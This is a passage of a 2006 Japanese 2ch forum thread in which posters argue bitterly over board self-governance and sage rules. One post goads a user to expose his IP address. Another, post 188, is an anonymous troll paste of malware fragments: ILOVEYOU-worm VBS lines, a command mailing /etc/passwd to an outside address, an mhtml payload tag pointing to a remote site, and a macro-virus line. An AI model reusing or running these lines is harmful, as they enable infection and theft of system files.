> > 733 名前: 擬古侍 ◆lIberAli6k [sage] 投稿日: 2005/12/02(金) 22:50:40 ID:p6UPGNx5 
> > アニヲタ、フィギャアヲタの鬼畜どもが、  
> > 国家の宝たる少年少女たちを、  
> > みるも無残な残虐な殺しをしてるのが、日本の問題だと  
> > 思います。  
> >  
> > 第一、フィギュア愛好家の好きなフィギュアは、  
> > 普通の人間社会で行われる凛々しい(働くwoman的)格好は、もてはやらず、  
> > 猫やウサギの耳や、柄、  
> > 非人間妖精の耳をしたモノを好んでいる。  
> > そのため、ヲタたちは、猫やウサギ(弱い立場にある幼女達  
> > )ならば、どうにかなる。どうにか飼育できるし、  
> > たとえ殺したってしても獣姦責任がない(人権はもちろん)と思い、  
> > 現実との境をなくし犯行にでるのだと思います。  
> >  
> > 734 名前: 彩雲 ◆U5oiU4.Zk6 [sage] 投稿日: 2005/12/02(金) 23:18:49 ID:SZ74uEwj 
> > 何この誤爆  
> >  
> > 735 名前: 第六天魔王(牛) ◆ODA7WdIm6U [sage] 投稿日: 2005/12/02(金) 23:54:02 ID:Ve8jVucN 
> > スレ立て誤爆をかます俺に比べたら可愛いもんだ  
> 上の引用なんか、完全に擬古ちゃんのレスが誤爆だと思った彩雲さんの 
> レスと、それに対する牛たんのレスだねえ。 
> 
> それ一件だけで排他的なんて言うなよなw 

160 :日出づる処の名無し:2006/03/30(木) 07:32:56 ID:22L4ASou
船虫の印象操作って、下手すぎ

161 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:33:11 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/396

> 396 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/19(月) 23:10:22 ID:VmZbgavK
> あと、蟲ちゃんが完全に誤解して文句を言っている件は、 
> 
> 2chでの書き込みは原則自由 
> 
> って事だな。 
> 
> 蟲ちゃんの場合は、「書き込みを見た人は、レスを返さなければいけない」 
> って考えているから、こうも頓珍漢な書き込みが出来るわけで・・・。 
> 
> 実際は、2chを利用しているそれぞれの個人が気に入ったスレに書き込み、 
> それぞれのレスを返してもいい書き込みに対してレスをする。 
> つまり、レスが欲しければ書き込みを工夫せいってのが前提条件。 
> 
> 擬古ちゃんが雑談スレで殆ど無視されていた件は、客がレスしてくれそうな 
> 書き込みをしなかっただけ。 
> 
> 実際、↑と同じような書き込みを、私や同期タンはずっと書き込んでいるけど、 
> 日本語の読解力が幼稚園児以下な蟲ちゃんには理解できず、ひろゆきに聞い 
> てみなって言う優しい言葉にも耳をそむけている。 
> 
> ものすごく簡単に書くと、蟲ちゃんが馬鹿でチキンだから、分からないフリをして 
> ブーたれているってのが現状って事だな。 
> 
> これだけ書いても分からない? 
> チキンハートちゃん。 



162 :日出づる処の名無し:2006/03/30(木) 07:42:40 ID:CBhFCMbq
うっとうしい

163 :日出づる処の名無し:2006/03/30(木) 08:12:58 ID:Vn/ApJjs
船虫だろ、こいつ
>68 名前: 弁護士の卵 ◆/gy1QUDo9A Mail: 投稿日: 06/03/28(火) 19:57:08 ID: rOFf9Oou
>
>わたしは近年激しさを増している少年の厳罰化の流れに対し異を唱えている者です。
>キリスト教の博愛精神に基づきいかなる罪業であろうと命まで奪う権利を国に認めるべきでは無いとする
>人道的見地からの死刑廃止も同じく信条としております。
>自論ではありますがあなた達がこれまでに触れてきた文化、その信念に影響する物は大抵テレビに代表される
>マスメディアでしょう。
>いわば大衆に迎合する為には少々乱暴な物でもそれが許容される範囲で面白おかしく時に人を愚弄する内容でも
>冗談としてむしろ多くの支持を集めていたのです。いわゆるお笑い番組ですね。
>要は下品な感覚に対し慣れ親しんだせいで自らの精神の奥深くに染み渡りもはや人格の一部となっている為に
>自分に直接関係の無い犯罪人に対し簡単に命を奪う事を肯定し、支持してしまうことに
>深い憂慮を禁じえないのであります。
>どうか低い次元の文化からは距離を置く事を切に願う次第です。


164 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:47:27 ID:H3SjA+/A
>>2-7 にもあるが、今やってることの概要は、

1、「擬古侍 ◆lIberAli6k」が極東板雑談スレが排他的になっていると問題提起
2、オレ(船虫)が、解決策の一つとして「常時SAGEルールの撤廃」を求めた。
3、ごくとうが“いやいやながら(当人は需要をテストすると言い張る)”、
  常時SAGEなしのスレを立てる(元祖スレ←もともと常時SAGEルールはなかった)。
4、オレとしては、「とにかく、解決策はクリアされた」と認識する。テスト(検証)には筋違いと拒絶。
5、何の前触れもなく、同期の桜@極東 が「常時SAGEルール」を復活させる(そういう次スレを立てた)。
6、オレが「どういうこと?」と、その説明を求める。
7、同期の桜@極東 は「次スレとして」という幼稚レスで返し、説明をしない。
8、オレは「同期の桜@極東(自称自治厨)は自治議論を蔑ろにしている」と非難。

これによって、自治スレが本来の「スレが排他的である件」から、
自称自治厨の対応、つまり、極東板自治の“あり方”の問題に変わっていった。
これに関して、同期の桜@極東 の言い分は

T、検証(テスト)によって解決した。
U、運営逝け。話はそれからだ。
V、船虫は議論(問題解決)を長引かせているだけ。

になっている。>>2-7 を含め、これら全てに現物による裏付けがあるが(例えば
T、http://tmp6.2ch.net/test/read.cgi/asia/1139574674/348
U、http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
V、http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407
一方の同期の桜@極東は何時になっても、現物ベースの議論をしない(例えば>>104
で、そもそも、TとUは矛盾(運営が必須なのに、運営逝かずに解決?)してるし、
これらの件は上のレスでやってる(>>140)。
そこで、今回は、Vについて、「議論の長期化はどっちに責任があるのか?」
とうことへの証拠となる点を以下に指摘する。
(そもそも、上のhttp://tmp6.2ch.net/test/read.cgi/asia/1139574674/407 で既に、
「ループしてるヤツ=同期の桜@極東」なんだが>>142-143

165 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:47:50 ID:H3SjA+/A
>>125 名前: 同期の桜@極東 ◆DoukiJieKQ
>>というレスを出して、「何かおかしい」と言い張ってた(具体論は相変わらずなし)
>はぁ?>>53の何処にそんなことが書いてあるんだ?
>また読み間違いか?後半がさらに何を言いたいのかがわからん。

>>53 名前: 同期の桜@極東 ◆DoukiJieKQ
>>「馴れ合いの雑談(スレ)」であることが非難されていると思ったらしく
>誰もそんなこと思ってないわけだがw
>つーか、その前のおまいのレスがこうなってるわけで。
>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/237

↑どうみても、何らかの不満(具体論は相変わらずなし)を表明してるじゃん。
おまえアホ?
というか、何でこんなこと(「何かおかしい」と言い張ってた)に
突っ込んでんの?
無節操になんでもかんでも文句を言うのはやめろ。

166 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:48:09 ID:H3SjA+/A
>>125 名前: 同期の桜@極東 ◆DoukiJieKQ
>>>98
>>くだらないこと聞くな。
>>オレ「雑談は板に合ってない」
>>おまえ「雑談は板に合ってない」
>>この状況で何をしようっての?
>>何かのすり替え?
>別に何にもする気はないが
>わしのいう雑談は板にあってないとおまいの雑談は板にあってないは
>たぶん温度差があると思うんだよなぁ。

だったら、その温度差なるものを具体的に論じろ。
もちろん、それが本論にとって重要であることも合わせて論じろ。
そういうこともせず、

>>78 名前: 同期の桜@極東 ◆DoukiJieKQ
>>で、実際は、「スレの内容が板に合ってない雑談になってる」ってのは認めたわけだろ?
>逆に聞きたいが板にあってる雑談ってどんなだよ。それはもはや雑談でもなんでもないし。

などと、「雑談は板に合ってない」と言ってる者に対して、
「あってる雑談ってどんなだよ。それはもはや雑談でもなんでもないし」
などと頓珍漢なことを聞くな。

167 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:48:28 ID:H3SjA+/A
>>126 名前: 同期の桜@極東 ◆DoukiJieKQ
>>>99
>>実際、単に「自治スレ」と書いたスレを立てたことを想像してみ。
>>これは重複スレになるだろ?
>>何と重複?
>>「極東板自治スレ」しかないじゃん。
>極東板自治スレというスレが立ってない状態で自治スレというのが立ったら
>別に重複でもなんでもないわけだ。

これもわざとやってるとしか思えないアホレス。
誰も「極東板自治スレというスレが立ってない状態」については述べてない。
同一にニッチを占めるスレが立ってなければ、重複ではない。当たり前。
「極東板自治スレ」という名でなくても、単に「自治」でも、
そのものずばり「自治スレ」でも、同一ニッチを占めるスレがあれば重複。
これも普通に当たり前のこと。

>その同一ニッチってのがいまいちわからんが、

分からないなら、最初から分からないと言え。
分からないにもかかわらず、ウダウダ文句をいい。
議論にならないなどと言い張って、自治議論否定をすんな。

>極東板雑談と雑談スレで同一になるものは「雑談」だろ。
>で、その雑談が使われることによって初めて公共性が出るわけだろ。
>使われなきゃただの糞スレなんだし。

マジで分かってない。
ニッチとは“場所”のこと。雑談という“行為”ではない。
そもそも、この自治スレだって、通常は100逝かずに落ちる。
しかし、だからといって、公共性がないとか、ましてや
「糞スレだ」なんてことにはならない。

168 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:48:48 ID:H3SjA+/A
>>127 名前: 同期の桜@極東 ◆DoukiJieKQ
>無印でも公共性はあるが、かといって雑談が公共性をもっているんだ!という
>裏づけにはならんぞ。

また誤解を引き摺ったまま暴走してる。
誰も「雑談」が公共性をもってるなんて言ってない。
現に雑談スレのリストを作って、「これは公共性が高いが、これは薄い」という話をしてるだろが。
竹島スレなんてほとんど雑談スレと化してるが、これは一部の人間しか使わない“ニッチ(仕様)”になってるから
板にとっての公共性は薄い(スレ住人は日本にとって公共性があると言い張るかもしれんが)。
竹島スレのスレタイが「竹島雑談スレ」となっていても、同じ。これで公共性が出るというわけじゃない。
しかし、単に「雑談スレ」なら、公共性が出る。
「自治スレ」と同じ事で、デフォは「極東板の」であり、「極東板雑談スレ」と重複関係が生じるわけ。

つーか、
「雑談は板に合ってない」と言ってる者に対して、
「あってる雑談ってどんなだよ。それはもはや雑談でもなんでもないし」
なんて頓珍漢レスするような読解力のヤツに、ニッチがどうのと言うことがアホらしい。
繰り返すが、高度な(別に一般的には高度じゃないが)議論にコミットする前に
簡単かつ自明な>>7に決着をつけろ(>>144)。

169 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:49:08 ID:H3SjA+/A
>>127 名前: 同期の桜@極東 ◆DoukiJieKQ
>>もし「荒らしが来た→使用状況が無茶苦茶(使用法がまずい)」になったら、
>>自治スレを削除しなければならないわけで、荒らしの思惑通り。こんな無茶なことはない。
>明らかに1が解決策なんだけどなぁ。
>違反だったら、どんなスレであれ削除されるんだぞ?
>荒らしが来たらレス削除という方式をとって規制議論に荒らし報告すりゃーいいだろ。
>だから削除依頼と運営へ行けって何度も何度も(ry

スレ削除をレス削除にすり替えてるだけ。
明からさま杉。

>>128 名前: 同期の桜@極東 ◆DoukiJieKQ
>>おまえさー。そういう無駄なことをわざわざ書くのはやめてくんない?
>>「何時になっても現物出さない」
>>「出してる」
>>「何時になっても現物出さない」
>>「出してる」
>>こんなこと続けて何が楽しいの?
>無駄なことは何一つ書いてないんだけどなー。

はあ?何の役に立つの?
議論が長引かせる役に立つって?
社会党の牛歩戦術と同じ?

170 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 17:50:39 ID:H3SjA+/A
>>129 名前: 同期の桜@極東 ◆DoukiJieKQ
>A「オレ様が検証スレを立てるぞ」
>B「スレが立ったから解決だ!」
>C「だから検証だっての」
>B「C!お前はAとオレが合意のもと得たスレを反故にする気か!」
>これってBがスレが立ったことを
>自分の都合のいいように解釈して解決したと思い込んでるだろ。
>Aはスレが立ったことで解決であるなんて思ってないわけで。
>AとCには検証という共通認識があるわけで。
>だからBの行為は独断というとんじゃ。

バカ。そういうのはお仲間同士の自演って言うんだよ。
しかも、「検証スレ立てるぞ」に反応したのはオレだけで、
おまえは、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/573
こんな有り様じゃん。後から「検証に合意があった」なんて言って、
「合意の上での検証」になるか?
さらに、オレは「スレが立ったから解決だ!」 なんて言ってない。
検証に関しても、批判をしているし、スレそのものにも「問題だ」としている。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/615
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/628
“後に言う”解決という発言の含意が、現物(スレ)にあるとしたら、
実際の発言がそうであるように「一応解決」であり、その意味は
「ともかく問題提起者の出した解決策をクリアしている」でしかない。

いったいどこが独断なわけ?

>それなら解決しないままなんじゃないの。別にかまわないけど。

相手が自分の意見を曲げて「折れ」ないと解決しないと。
それがさんざんループやってるヤツの言い分か?

171 :日出づる処の名無し:2006/03/30(木) 18:04:03 ID:22Q+CaTa
すいません。
船虫さんがここからはい出てくるので
皆さん、もっと船虫を煽ってください。

172 :日出づる処の名無し:2006/03/30(木) 18:07:53 ID:22Q+CaTa
>>170
船虫さん 一度でいいから IP晒してください。

名前欄にfusianasanと書いて


173 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 18:13:46 ID:H3SjA+/A
ついでに、

>>131 名前: 同期の桜@極東 ◆DoukiJieKQ
>すなわち多いってことだろ。dat落ちしたもの(板違い)含めて
>多い!って主張はちょっと変。

だからリストを作った時点ではdat落ちしてないの。
生きてるスレを上げたわけ。
今になってdat落ちになってるからってなに?
数に関しては当たり前だが、当時の数を言ってるだけ。
だが、今になってdat落ちするものもあれば、今になって発生するスレもある。
dat落ちがどーのって、どういう反論だよ?おい?

174 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 18:14:06 ID:H3SjA+/A
>>133 名前: 同期の桜@極東 ◆DoukiJieKQ
>スレを立てることに合意したとか言うんだろうけど、

そうだよ、スレ立てに対して合意してるよ。
少しは学習できるんじゃん。

>ごくとうがそのスレを立てた目的が検証だろ?
>検証という目的を持っているスレを立てることに合意したってことになるだろ。

どうして?

>あとのレスで検証を批判しているって書いているが、
>だったら、スレ立て自体に合意なんか出来ないだろ。

何で?
「スレ立てには合意するが、(その需要を見て、スレが正当であることの)検証に使うのは反対。
(なぜなら、需要がない=不当ではないから)」
↑これのどこがおかしいわけ?

A「自治スレ立てるぞ?」
B「いいよ、合意する」
A「その目的は自治スレの妥当性の検証だ。需要があれば妥当」
B「そんなの認めないよ。というより、自治スレは確かめるまでもなくレスが少ない
  (通常は100逝かずに落ちる)。
  しかし、だから自治スレは不要だとか不当だとかいうことにはならない」

↑ぜんぜん普通の反応だが?

相手に対し「おまえは合意してる」と決め付けてるにもかかわらず、
言ってる内容は、ただこれだけ。
何の論拠も理屈もない。ただ決め付けに決め付けを重ねてるだけ。

175 :船虫Jr ◆.Tg2yBtH66 :2006/03/30(木) 18:17:34 ID:H3SjA+/A
これも一応言っておかないとな。


>> バク ◆Zseml6E7q6
荒らすな。


コイツはリアルだから困るよな。
既に否定されたアホレス(そのものだけ)を晒して、何か意味があると思ってやがる。

176 :日出づる処の名無し:2006/03/30(木) 19:42:33 ID:22L4ASou
バクのカキコが都合悪いから、船虫火病ってらw

177 :日出づる処の名無し:2006/03/30(木) 20:03:02 ID:8wghf9IW
>>176
しょうがないよ。頭コチコチで

周りの見えない迷路に迷い込んでるような人だから。

178 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:30:26 ID:wJ6plLNp
>>136-137
>・運営逝け。話はそれからだ(排他性ある。議論排除になる)
>ということを言ってたんだろ?
>「同調」なんてことに拘って、論点をすり替えるなっての。
運営行って検証してもらってこいのどこに排他性があるんだ?
客観的な検証結果を元に議論を進めていくというところで必要な手続きだろ?
しかも、話はそれからだといってるところから議論を排除してないことが
明確にいえるんだけど・・・

運営へ行って客観的な判断をもらってくる:
A、却下される→2ch上では特に問題のないこと
B、削除もしくは指摘される→議論の余地あり→じゃー議論しましょ

議論を進める→双方合意の下結論が出る→結果としてスレ立てに反映される。
たったこれだけの話なんだけど。



179 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:31:50 ID:wJ6plLNp
>>138
>これは客観的な解決だろ?
>そして、同時に客観的に最終解決ではなく「一応」の解決だ。
あのなー自分ひとりで問題を解決してるならそれでも構わんよ?
相手がいるわけだから、俺はこれで解決ってその条件に対して
相手が納得してなかったら一応もくそも解決にならんだろ。

>1、「ここに問題があって、解決条件は○○だ」
>2、○○が起きる。
>3、「一応解決」
解決条件は○○だ。←これに相手が同意せず
○○が起きる。←相手にとっては結果が起きただけ
一応解決←はぁ?
にしかならないんだが。

>前者は、現に提示された問題が一応ではあるが無くなった。
前者は問題が無くなったと思い込んでいるだけであって
実際になくなったわけではない。それで解決ってするのは独断だといってるんだが・・・

>>139
「合意」の話はこの後書くので割愛


180 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:35:13 ID:wJ6plLNp
>>140-141
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
↑すべてこのときの話を基にしてるわけだが。

「オレとごくとうで話し合った結果得た合意」って書いてあるわけだろ。
おまいとごくとうの間に共通認識がないのであれば合意というものはそもそも出来ない。
・ごくとうは検証のため(これは元祖スレにも書いてある)
・船虫Jrはスレが立てばそれでいい。

1、この両者の状態において合意が出来るのかどうか。
  それはどちらかがどちらかの意見を飲まなければ出来ることはない。

で、スレ立てした本人であるごくとうは
http://tmp5.2ch.net/test/read.cgi/asia/1135847268/1-2
ということもあり、スレが立ったらおしまいだという認識はまったくない。
これはこのスレ(元祖スレ)からも明白なことである。
そうなると、1の状態を達成するには船虫Jrが検証に対して合意していなければ
船虫Jr自身が「オレとごくとうで話し合った結果得た合意」という言葉は使えないし、
それを根拠にスレ立てを批判することも出来ない。

が、船虫Jrは「検証に合意していない」「合意はした」と言い張るわけで、
どちらかに対して明らかにうそをついていることになる。
A、「検証に合意していない」
こちらが嘘になるのなら"検証に合意したってこと。"
B、「ごくとうと合意した」
こちらが嘘になるのなら"そもそもごくとうと合意していないにもかかわらず合意したと言った"

Aが嘘であるならそれはもちろん検証に合意したということになる。
Bが嘘であるなら他に誤解を招くような表現で(あるいは故意に)書き、
それを根拠にスレを立てたことを批判していたということになる。

で、どっちなの?

181 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:36:59 ID:wJ6plLNp
>>142-143
>おまえが解決と言ってるもの=オレが折れること。
>オレが折れないとループって何?
そもそも問題を提起してるのはおまいなわけ。
わしらは現状で問題なしと思ってるからおまいが折れようが折れまいが
そんなことは知ったこっちゃありません。

ただ、こういう解決法(わしらが認める)もあるんだから、
それを講じたほうが早いぞと。(相手が納得している&スレの問題も解決)
その行為がガイドライン違反になるわけでもないし。
mustじゃなくてmayだからその点においてもクリアされるし。

そんな方法じゃ嫌だ!って永遠に決まらない議論を続けてるだけであるならば
それはループをさせているとしか言いようがない。

自分でコピペするけども

桜:「邪魔になるのでsage進行」
船:「その通り。邪魔だから、SAGE進行自体は正しい。
  しかし、だからといって、公共性のあるスレを排他的するのは問題有り。
  スレ住人達がよっぽど気を遣ってカキコするか、
  常時SAGEルールをやめる(通常はSAGEでいい)のが妥当」
桜:「邪魔になるのでsage進行」
------------------------------------------------------------------
船:「じゃあ、オレが勝手に定期的に上げるが問題はないのか?」
桜:「別に問題ないが?」
船:「じゃー定期的に上げるからな」

こういうこと。点線以下は相手が認めてる&常時sageになることはない
のでスレの問題も解決。これだけの話なんだけど。

182 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:38:15 ID:wJ6plLNp
>>144
>大きな論題は「同期の桜@極東 ◆DoukiJieKQ 」のスレ立て行為と
議論中のスレ立てに何の問題があるのかって聞きたいんだが。
ageスレは検証のためでしかなく、議論の決着もついてない。
そんな状況だったら現状(sage進行)を維持するのが基本だろ?
で、議論に決着がついたところできちっと変える。何の問題もないはずだが。

そもそもなんでおまいがsageでスレ立てするのがダメっていってるかって、
「age進行スレがったったから一応解決」←これからきてるんだろ?
おまいが勝手に解決と解釈したものを基準にしてダメっていってもそれは基準にはならんぞ。

>だが、合意してないものを合意したと決め付けて事を運ぶなんてヤクザまがいのやり方
あのさー。おまいとごくとうと話し合い得た合意と称するものは
まさにおまいが言うヤクザまがいのやり方の状態だろ。
自分でやってて気がつかんのか?

183 :同期の桜@極東 ◆DoukiJieKQ :2006/03/30(木) 22:42:36 ID:wJ6plLNp
>>136
前半は、>>113で言った無意味なループレスだから省略
って言ってる割には律儀に書いてるねぇ。

まぁ省略されたもんにレスはしないがw

184 :日出づる処の名無し:2006/03/31(金) 00:21:53 ID:jghc4Fqt
>>178
たんに・・・・IP晒したくないだけじゃない?

185 :同期の桜@極東 ◆DoukiJieKQ :2006/03/31(金) 00:47:52 ID:2iN0l/fa
>>184
晒さずに削除依頼する方法もありますよん。

186 :日出づる処の名無し:2006/03/31(金) 01:57:46 ID:XnXUCpnH
船虫が戻ってきたら、ケザワや顔文字も帰ってきたねw
これは何を意味してるんだろうね
ブルーカラーの「自称」京大生も一緒だったね

187 :第六天魔王(牛) ◆ODA7WdIm6U :2006/03/31(金) 06:43:15 ID:ORdBa3R7
さて最終日ですよ同期君

188 :日出づる処の名無し:2006/03/31(金) 09:05:45 ID:4dcON3No
.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'STARTܷܷܵܶܵܶܵܶܵܶ

End Sub

こいつは俺のおごりだ

189 :バク ◆Zseml6E7q6 :2006/03/31(金) 19:22:40 ID:BC/2lY/s
このスレを削除依頼するまであと5時間を切ったのだが、
結局蟲ちゃんの脳内議論と罵倒だけだったねえ。

削除依頼せず、管理人へのメールもしない。
唯騒ぎたいだけだったってのがはっきりしただけw

190 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:47:57 ID:5WEoNcFQ
>>178 名前: 同期の桜@極東 ◆DoukiJieKQ
>>・運営逝け。話はそれからだ(排他性ある。議論排除になる)
>運営行って検証してもらってこいのどこに排他性があるんだ?

だから、おまえが言ってたのは、単なる「運営逝け」ではない。
「運営逝け。話はそれからだ」だろが。
こういう“ずらし”ばっかだから、議論が進まないじゃねーか。

>客観的な検証結果を元に議論を進めていくというところで必要な手続きだろ?

反論に窮したから言い出すもんじゃねーだろっての。

191 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:48:24 ID:5WEoNcFQ
>>178 名前: 同期の桜@極東 ◆DoukiJieKQ
>しかも、話はそれからだといってるところから議論を排除してないことが
>明確にいえるんだけど・・・

アホ?
「話はそれからだ」は「それがないと議論しない」という明確な議論排除じゃないか。
おまえ、マジで、こういう含意がないつもりで、
「運営逝け。話はそれからだ」
なんて言ってたわけ。それなら、なんか検証なるもの(運営逝かずに解決するやり方)を
してたのも分かるし、こう言いながら、実際はウダウダ言ってたのも分かる。
だが、

「運営逝け。話はそれからだ」

という言明が議論排除であることは変わりがないわけ。
おまえにそのつもりが無くても、そういう効果(意味)があるわけ。
何か、その場しのぎの勢いで言ったのかもしれんが、
その場しのぎで言ったとしても、また、自分では違う意味のつもりでいても、
削除を本来の目的としない者(このスレは公益があると主張してる者)に、

「運営(削除要請板)逝け。話はそれからだ」

なんて言えば、どんなに素直なヤツでも従うわけないのだから、
完全に議論拒否と同じ意味。
これでは削除要請以外の自治議論は不可能になるし、
削除要請が先にある議論でも、運営に逝く前の段階の議論が排除される。
件の「名無しの会スレ」でも「自治で話し合われた結果」として削除要請されたわけで、
単なる削除要請とは効果が違う。

こんな自治議論排除を“そのつもりがなく”言ってしまうほど
日本語能力がないのなら、自治厨なんてするな。
自分が言ってる言明が理解できるってのは最低限の要素だ。

192 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:51:30 ID:5WEoNcFQ
>>179 名前: 同期の桜@極東 ◆DoukiJieKQ
>あのなー自分ひとりで問題を解決してるならそれでも構わんよ?
>相手がいるわけだから、俺はこれで解決ってその条件に対して
>相手が納得してなかったら一応もくそも解決にならんだろ。

だから、解決ってのはオレの脳内のことではなく、スレの状況なの。
いいか。

1、ある問題が提起された。
2、誰かがそれを受けて解決案を出す。
3、ここ状況で、事実上、問題は2の懸案に限られている。
 (2だけが提起側の議論に参加していて、それ以外のヤツも懸案もない)

スレに上がってる案件(問題)は、「1に関して2」だけ。
これは、オレ(2)の脳内じゃなくて、スレの状況。
だから、例えば、2が「分かったオレの勘違いだった」と言えば
それで「一応」の解決だろ?
原告が引っ込んだんだから、スレ上の案件は「一応」なくなる。
こういう一方的な「勘違いだった」でさえ、一応解決なわけ。
実際は、解決案を充たす対処が行われた。
これで「一応」の解決にならないわけねーじゃん。
もちろん、オレ自身が言ってるように、まだ問題は残っている。
これは残ってるというより、対処によって新たに生じた問題。
最初の問題が消滅状態になったのは明らか。
このような意味(まだ完全に解決してない)でも「一応」の解決。

193 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:52:11 ID:5WEoNcFQ
ついでに、この当時、「検証」がどうなってたかを言えば、
これも同じように問題に(オレによって非難の対象に)されてたわけだ。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/591
しかし、その相手である「ごくとう」は引っ込んじゃったわけだから、
尻切れトンボ状態になってる。“相手がいないのだから、わざわざ議論することもない”
“という意味では”、これも「一応の解決」。
おまえが、ここで参加すれば、検証も議論の流れに乗っただろうが、
おまえは、この当時 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/573
ってな態度に凝り固まっていたわけ(同じ事をずっと繰り返していた)。
上の「運営(削除要請板)逝け。話はそれからだ」と同様、
議論はしないというヤツを相手に、わざわざ「ごくとうが言っていた検証だが」なんて
しようと思うヤツはいない。
だからこそ、 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/607
が意味不明になったわけじゃん。
しかし、それでも、この後、「結果とは検証のことだ」と明言し、
検証をするという主張を言えば、後でオレから「独断だ」などと非難されることもない。
だが、上の調子で、この“議脈(レス)”スルーして、
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/693
と、議論拒否状態に戻ってる。

こんなんで、何の前触れもなくスレを立て、オレに「どういうこと?」と
聞かれれば「次スレとして」なんて幼稚レスで誤魔化し、さんざんやり合った後、
「検証で(正当だという)結果が出たから」
などと言い出す。

これ以上明確な独断ってあるか?

194 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:52:32 ID:5WEoNcFQ
>>180 名前: 同期の桜@極東 ◆DoukiJieKQ
>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
>↑すべてこのときの話を基にしてるわけだが。

ここは普通スルーするとこだが、あえて言っておこう。
「何でおまえ、オレを信用するわけ?」
そのレスが間違いだったらどうする?
オレは合意したと書いてしても、「スレ立て」でさえ合意してないかもしれないじゃん。
相手の都合のいいとこだけ拾って、自分の主張を裏付けるんじゃなくて、
現物で「そうなってる」と言えばいいじゃん。
それが本来の筋だろ?

それに、本来の筋と言えば、本来の筋は、
おまえ(同期の桜@極東 ◆DoukiJieKQ )のスレ立てに対して、
オレが「それは独断だろ?」と非難してる。まさに、
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
このレスがそうだろ?
で、これで何かおかしいと思わないか?
おまえは「船虫はスレ立てだけじゃなく検証にも合意していた」と反論してるわけだろ?
「合意してた」は、もちろん、当時のことで、当時のレスに
「合意していた」と解釈できるものがあり、おまえがそれで「合意している」と解釈した。
こうじゃないとおかしいわけだ。
ところが、非難が始まった後に出てきたレス
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
を持ち出して、「すべてこのときの話を基にしてるわけだが」って何?
未来に出てくるレスを根拠に、合意があったと解釈してスレ立て?

おまえの中では因果律が逆転してんのか?

195 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:52:59 ID:5WEoNcFQ
>「オレとごくとうで話し合った結果得た合意」って書いてあるわけだろ。
>おまいとごくとうの間に共通認識がないのであれば合意というものはそもそも出来ない。

早くも偽(これも既出だ)
日朝交渉でも、「金正日と小泉の内心(主義主張)が一致した」などなくても、
“何らかの事柄を認める(合意)”することはできる。
おまえは、合意がこのような広い意味(内心での了解でなくても合意)であるのに、
勝手に「合意→内心が一致した」なんてすり替えてるだけ。
ポツダム宣言のように、何もかも嫌で自身の主義主張にまるで合わなくても、
受諾すれば、「合意」だろ?
しかし、実際には、オレが言ってた「常時SAGEの撤廃」されたスレを
ごくとうが立て、さらに、オレが「それじゃ足りない。こういうスレにしろ」
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/582
と言えば、その通りに直した。そして、
